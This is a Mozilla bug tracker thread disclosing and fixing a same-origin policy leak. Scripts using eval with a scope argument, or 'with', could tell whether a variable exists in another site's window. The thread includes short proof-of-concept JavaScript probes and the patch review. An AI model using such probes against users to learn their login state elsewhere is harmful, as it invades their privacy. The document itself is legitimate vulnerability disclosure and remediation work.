Closed
Bug 158049
Opened 22 years ago
Closed 22 years ago
cross-domain variable detection with scopes (eval, with)
Categories
(Core :: DOM: Core & HTML, defect, P1)
Core
DOM: Core & HTML
Tracking
()
RESOLVED
FIXED
mozilla1.4final
People
(Reporter: jruderman, Assigned: jst)
Details
(Keywords: csectype-sop, fixed1.4, Whiteboard: [sg:mustfix] security [HAVE FIX])
Attachments
(2 files, 3 obsolete files)
1.68 KB,
text/html
|
Details | |
7.94 KB,
patch
|
caillon
:
review+
brendan
:
superreview+
brendan
:
approval1.4+
|
Details | Diff | Splinter Review |
A script can determine whether a variable is defined in another domain using
scope tricks. The attacker cannot find the value of the variable. The impact
is the same as in bug 59208: a script can find out whether you're logged into
nytimes.com and possibly other sites.
1. eval('amz_js_PopWin',frame)
- "Permission denied" error if amz_js_PopWin exists.
- Uncatchable "undefined" error if amz_js_PopWin does not exist. Note that this
method never looks in the attacker's context. (Why is the error uncatchable?)
2. with(frame)amz_js_PopWin
- "Permission denied" error if amz_js_PopWin exists.
- Catchable does-not-exist error, or the value in the attacker's context, if
defined in the attacker's domain.
Reporter | ||
Comment 1•22 years ago
|
||
Comment 2•22 years ago
|
||
Please define uncatchable, show the try/catch code that fails. Try it in the
xpcshell and js shell too.
/be
Comment 3•22 years ago
|
||
Here is a synopsis of Jesse's testcase, with his comments:
/*
* Bug: possible to tell whether a function/variable is defined
* in another window using eval(expr,frame) or with(frame).
*
* In the example, amz_js_PopWin is defined in amazon.com,
* but foobar is not.
*/
frame = window.open('http://www.amazon.com/');
foobar=8;
// OK
try{alert(frame.amz_js_PopWin)} catch(e){alert(e)}
try{alert(frame.foobar)} catch(e){alert(e)}
// OK
try{alert(eval('frame.amz_js_PopWin'))} catch(e){alert(e)}
try{alert(eval('frame.foobar'))} catch(e){alert(e)}
// OK, can't call frame.eval
try{alert(frame.eval('amz_js_PopWin'))} catch(e){alert(e)}
try{alert(frame.eval('foobar'))} catch(e){alert(e)}
// "Permission denied" vs. uncatchable (!?) "undefined" error: not good
try{alert(eval('amz_js_PopWin',frame))} catch(e){alert(e)}
try{alert(eval('foobar',frame))} catch(e){alert(e)}
// "Permission denied" vs. "undefined" error: not good.
try{alert(eval('with(frame)amz_js_PopWin'))} catch(e){alert(e)}
try{alert(eval('with(frame)foobar'))} catch(e){alert(e)}
Comment 4•22 years ago
|
||
Amplifying the "not good" sections above. I should note that Jesse's
testcase allows you to either define |foobar = 8| or |foobar = undefined|.
That comes into play in the last line below:
// "Permission denied" vs. uncatchable (!?) "undefined" error: not good
try{alert(eval('amz_js_PopWin',frame))} catch(e){alert(e)}
---> alerts "Permission denied to get property Window.amz_js_PopWin"
try{alert(eval('foobar',frame))} catch(e){alert(e)}
---> Get error in JS Console "Error: foobar is not defined"
(i.e. the error was not caught; no alert comes up)
// "Permission denied" vs. "undefined" error: not good.
try{alert(eval('with(frame)amz_js_PopWin'))} catch(e){alert(e)}
---> alerts "Permission denied to get property Window.amz_js_PopWin"
try{alert(eval('with(frame)foobar'))} catch(e){alert(e)}
if you chose to define |foobar = 8| at the beginning of test:
---> alerts "8"
if you chose to define |foobar = undefined|:
---> alerts "ReferenceError: foobar is not defined"
We can't bound the downside of this, it depends on how sites are set up to use
scripting. We could potentially reveal something important.
Whiteboard: [sg:blocker]
Comment 6•22 years ago
|
||
With the js shell, I see no catchability problems:
js> try{print(eval('foo',{bar:'hi'}))}catch(e){print('<<<'+e+'>>>')}
<<<ReferenceError: foo is not defined>>>
js> try{with({bar:'hi'})print(foo)}catch(e){print('<<<'+e+'>>>')}
<<<ReferenceError: foo is not defined>>>
js>
Someone produce a counterexample, or say that this worksforthem as it does for
me in the js shell. Is the catchability difference seen only in Mozilla?
Assuming the catchability bug has been fixed, or could be fixed, I think one
possible solution is to make the JS engine call a checkAccess callback before
throwing a tell-tale exception. I can hack up a patch for that, later today.
/be
Comment 7•22 years ago
|
||
> Is the catchability difference seen only in Mozilla?
Yes.
If I try Brendan's test in the JS shell, the error is successfully caught.
If I try Jesse's tests in Mozilla trunk 2002-10-14, it is not caught.
For anyone following this bug: notice the use in both tests of the syntax
eval (str, obj)
That is, we are using the second parameter of eval() to specify
the context in which the eval() should execute. In Brendan's test,
|obj| is {bar:'hi'}. In Jesse's test, |obj| is a new browser window.
STEPS TO REPRODUCE
1. Load Jesse's HTML testcase from Comment #1
2. Click on the button "open amazon.com in a new window"
3. A variable named |frame| in the global scope points to this new window
4. Now try these javascript:URLs
A)
javascript: try {alert(eval(1, frame));} catch(e) {alert('<<<'+e+'>>>');}
OUTPUT: alertbox: '1'
B)
javascript: try {alert(eval('window', frame));} catch(e) {alert('<<<'+e+'>>>');}
OUTPUT: alertbox: '[object Window]'
C)
javascript: try {eval('foo', frame);} catch(e) {alert('<<<'+e+'>>>');}
OUTPUT: NO ALERTBOX !!! ERROR IN JS CONSOLE INSTEAD:
Error: foo is not defined
Source File: javascript: try {alert(eval('foo', frame));} catch(e)
{alert('<<<'+e+'>>>');}
Line: 1
D)
javascript: try {alert(eval('foo', window));} catch(e) {alert('<<<'+e+'>>>');}
ALERTBOX: '<<<ReferenceError: foo is not defined >>>'
The problem is in C): in the context of the new window,
the error is not successfully caught
By contrast, in D): when we provide |window| as the context,
i.e. the original window, the error IS caught.
Comment 8•22 years ago
|
||
Typo above: C) should have the same call to alert() as in D).
The result is the same as I've reported: no alertbox comes up.
Reassigning to brendan, downgrading to mustfix.
Assignee: mstoltz → brendan
Whiteboard: [sg:blocker] → [sg:mustfix]
Comment 11•22 years ago
|
||
close to a patch?
Comment 12•22 years ago
|
||
Adding rogerl, he may be interested in this bug as well.
Updated•22 years ago
|
Status: NEW → ASSIGNED
Target Milestone: mozilla1.3beta → mozilla1.4beta
Comment 13•22 years ago
|
||
WORKSFORME, mostly. Someone please retest and say what you see.
I see amz_js_PopWin is not defined for the left 2nd from bottom button, in an
alert. I see foobar is not defined in an alert for the right 2nd from bottom.
I see frame has no properties for the bottom row of two buttons, when I click.
/be
Assignee: brendan → mstoltz
Status: ASSIGNED → NEW
Reporter | ||
Comment 14•22 years ago
|
||
Brendan, it sounds like you're not clicking the "Open amazon.com in a new
window" button before clicking the other buttons in the testcase.
Comment 15•22 years ago
|
||
trying for 1.4 final
Flags: blocking1.4+
Target Milestone: mozilla1.4beta → mozilla1.4final
Comment 16•22 years ago
|
||
Dammit, jruderman's right -- I thought frame meant a frame-in-frameset, or an
iframe. Duh.
There are two problems here:
1. Somehow, an error is not becoming an exception, but is being reported.
2. The caps code gives up the name of restricted properties.
Mitch, can you work on 2? I'll work on 1. If you want to file a new bug, feel
free -- or let's work here.
/be
Comment 17•22 years ago
|
||
I don't quite understand - what do you think the correct behavior should be?
Right now, a script can tell the difference between an undefined property and a
forbidden property that is defined because the error messages are different. I
suppose we should report "forbidden" in both cases for a cross-host access, but
that change won't be in caps - if the property is undefined I don't think we
call caps at all.
Reporter | ||
Comment 18•22 years ago
|
||
> Right now, a script can tell the difference between an undefined property and
> a forbidden property that is defined because the error messages are different.
Right, that's the problem. But it only happens if I play with scopes using
"with" or "eval". Here's a transcript of using http://www.squarefree.com/shell/
in Firebird 05/22, with the spacing changed:
x=window.open("http://localhost/");
[object Window]
x.submitGoogle // defined
Permission denied to get property Window.submitGoogle
x.d // not defined
Permission denied to get property Window.d
with(x) submitGoogle
Permission denied to get property Window.submitGoogle
with(x) d
ReferenceError: d is not defined
eval("submitGoogle", x)
Permission denied to get property Window.submitGoogle
eval("d", x)
["d is not defined" appears in the JavaScript console, not caught by shell]
For both cases (with and eval), I think "Permission denied to add (Window|x) to
scope chain" would be the best behavior.
Comment 19•22 years ago
|
||
I don't think the problem is in caps. Assigning back to Brendan for more
analysis. Brendan, please let me know if I need to do anything from my end.
Assignee: mstoltz → brendan
Comment 20•22 years ago
|
||
re: comment 18: the problem is not "failure to add some object to the scope
chain" -- the scope chain is determined by ECMA rules, independent of access
control policies. The problem is the uncatchable exception, and any information
leaked about whether the variable exists or not. Accepting bug, sorry I was
slow on the uptake here.
/be
Status: NEW → ASSIGNED
Priority: -- → P1
Reporter | ||
Comment 21•22 years ago
|
||
One way to stop the information leak would be to make with(x) throw an exception
if x is in another domain. That's why I suggested "Permission denied to add
(Window|x) to scope chain". It sounds like you have another way to stop the
information leak; that's fine with me.
Comment 22•22 years ago
|
||
This fixes the uncatchable error, restoring transparency to lazy standard class
initialization via window-level resolve hooks. The trick is to run such lazy
standard class resolve code (JS_ResolveStandardClass) on the window's context,
not on the caller's context (which may have a different origin). There's no
danger in so doing, because if we used eager standard class init, we'd do it on
the window's own context at window creation/re-init time.
/be
Updated•22 years ago
|
Attachment #124604 -
Flags: superreview?(heikki)
Attachment #124604 -
Flags: review?(jst)
Updated•22 years ago
|
Component: Security: CAPS → DOM Level 0
OS: Windows 2000 → All
Hardware: PC → All
Reporter | ||
Updated•22 years ago
|
Whiteboard: [sg:mustfix] → [sg:mustfix] security
Assignee | ||
Comment 23•22 years ago
|
||
Taking bug (per discussion with Brendan) to continue with the remaining part.
Assignee: brendan → jst
Status: ASSIGNED → NEW
Comment on attachment 124604 [details] [diff] [review]
fix for first problem (uncatchable error)
sr=heikki
The only thing I am wondering about is that the resolve now happens inside |if
(JSVAL_IS_STRING(id))|. If jst says that it is ok then I am ok with it.
Attachment #124604 -
Flags: superreview?(heikki) → superreview+
Comment 25•22 years ago
|
||
Comment on attachment 124604 [details] [diff] [review]
fix for first problem (uncatchable error)
Patch is ok, but jst's take on it will be the money.
/be
Attachment #124604 -
Attachment is obsolete: true
Attachment #124604 -
Flags: superreview+
Attachment #124604 -
Flags: review?(jst)
Assignee | ||
Comment 26•22 years ago
|
||
Assignee | ||
Comment 27•22 years ago
|
||
Assignee | ||
Comment 28•22 years ago
|
||
Comment on attachment 124611 [details] [diff] [review]
In addition to the above, do security checks in the resolve hooks for window and document
Um, that won't do. This'll prevent cross-origin access to window.foo where foo
is the name of a child-frame. New patch coming up.
Attachment #124611 -
Attachment is obsolete: true
Comment 29•22 years ago
|
||
Comment on attachment 124611 [details] [diff] [review]
In addition to the above, do security checks in the resolve hooks for window and document
Nit: fix the aweful typo.
Issue: do you want to do the security check for all ids, including int (index)
ones? I think so. Don't we have document[0], document[1], etc. referring to
DOM level 0 things? Or if not, couldn't the user set those to secret
properties that should be locked up by the same-origin model?
/be
Assignee | ||
Comment 30•22 years ago
|
||
This puts the security checks in the resolve hooks to after we've dealt with
all the properties that should be accessable across origins.
Assignee | ||
Updated•22 years ago
|
Attachment #124612 -
Attachment is obsolete: true
Assignee | ||
Updated•22 years ago
|
Attachment #124613 -
Flags: superreview?(brendan)
Attachment #124613 -
Flags: review?(mstoltz)
Assignee | ||
Updated•22 years ago
|
Status: NEW → ASSIGNED
Whiteboard: [sg:mustfix] security → [sg:mustfix] security [HAVE FIX]
Comment 31•22 years ago
|
||
Comment on attachment 124613 [details] [diff] [review]
Prevent checking for property existance across origins.
> if (!(flags & JSRESOLVE_ASSIGNING)) {
>- // If we're resolving for assignment it's not worth calling
>- // GlobalResolve()
>+ // We're resolving for assignment. It's not worth calling
First sentence should say "We're *not* resolving for assignment" (emphasis
mine).
>+
>+ // Do a security check when resolving upto-this-point unknown
Nit: need another hyphen in "up-to-this-point" -- or, preferably, "heretofore".
>+ // string properties on window objects to prevent detection of a
>+ // property's existance across origins.
>+ rv =
>+ doCheckPropertyAccess(cx, obj, id, wrapper,
>+ nsIXPCSecurityManager::ACCESS_GET_PROPERTY,
>+ PR_TRUE);
Is this only for the GET case, or do we need to test (flags &
JSRESOLVE_ASSIGNING) to select ACCESS_SET_PROPERTY? Sorry, I'm not reading
beyond the context. But if we need only check GET here because this code is
predicated on !(flags & JSRESOLVE_ASSIGNING), don't we need another
doCheckPropertyAccess call for the SET case?
> return nsEventRecieverSH::NewResolve(wrapper, cx, obj, id, flags, objp,
> _retval);
timeless may fix this, but he'd thank you if you could fix Receiver's
misspelling -- not sure when, or how many files would be touched, but I had to
mention it.
>+ // Do a security check when resolving upto-this-point unknown string
See above, "heretofore".
sr=brendan@mozilla.org with the above nit-picked or otherwise addressed.
/be
Attachment #124613 -
Flags: superreview?(brendan) → superreview+
Assignee | ||
Comment 32•22 years ago
|
||
> >+ // string properties on window objects to prevent detection of a
> >+ // property's existance across origins.
> >+ rv =
> >+ doCheckPropertyAccess(cx, obj, id, wrapper,
> >+ nsIXPCSecurityManager::ACCESS_GET_PROPERTY,
> >+ PR_TRUE);
>
> Is this only for the GET case, or do we need to test (flags &
> JSRESOLVE_ASSIGNING) to select ACCESS_SET_PROPERTY? Sorry, I'm not reading
> beyond the context. But if we need only check GET here because this code is
> predicated on !(flags & JSRESOLVE_ASSIGNING), don't we need another
> doCheckPropertyAccess call for the SET case?
This is only for the GET case, and we don't need this security check in the SET
case since we'll security check in the ::SetProperty() hook in the SET case. I
added a comment about this.
Fixed the nits.
Comment 33•22 years ago
|
||
Comment on attachment 124613 [details] [diff] [review]
Prevent checking for property existance across origins.
I looked this over with jst and surprisingly I think I am able to r= this after
spending a bit of time reading up on domci/js code and asking him a bunch of
questions. I do have a couple minor nits that I'd like to add though:
>+ if (id == sConstructor_id) {
>+ return ResolveConstructor(cx, obj, objp);
>+ }
Add the comment we discussed about why this code is before the child frame
lookup.
>+ // Do a security check when resolving upto-this-point unknown
>+ // string properties on window objects to prevent detection of a
>+ // property's existance across origins.
Nit: "existence" is misspelled.
r=caillon with those fixed.
Attachment #124613 -
Flags: review?(mstoltz) → review+
Assignee | ||
Comment 34•22 years ago
|
||
Fix checked in on the trunk.
Comment 35•22 years ago
|
||
Comment on attachment 124613 [details] [diff] [review]
Prevent checking for property existance across origins.
I figured jst would land this on the branch after a trunk shake-out, but wanted
to mark drivers' approval on the patch.
/be
Attachment #124613 -
Flags: approval1.4+
Assignee | ||
Comment 36•22 years ago
|
||
Yeah, I was going to let this bake on the trunk a day or two before landing on
the branch. My initial plan was to land this on the branch on Monday, assuming
all is well, unless there's a reason to land before the Monday morning branch
builds are fired off. If so, let me know and I'll try to land it on Sunday.
Comment 37•22 years ago
|
||
a=adt to land this on the 1.4 branch. Please add the fixed1.4 keyword once this
fix lands.
Assignee | ||
Comment 38•22 years ago
|
||
Fix checked in on the branch now too.
Reporter | ||
Updated•21 years ago
|
Group: security
You need to log in
before you can comment on or make changes to this bug.
Description
•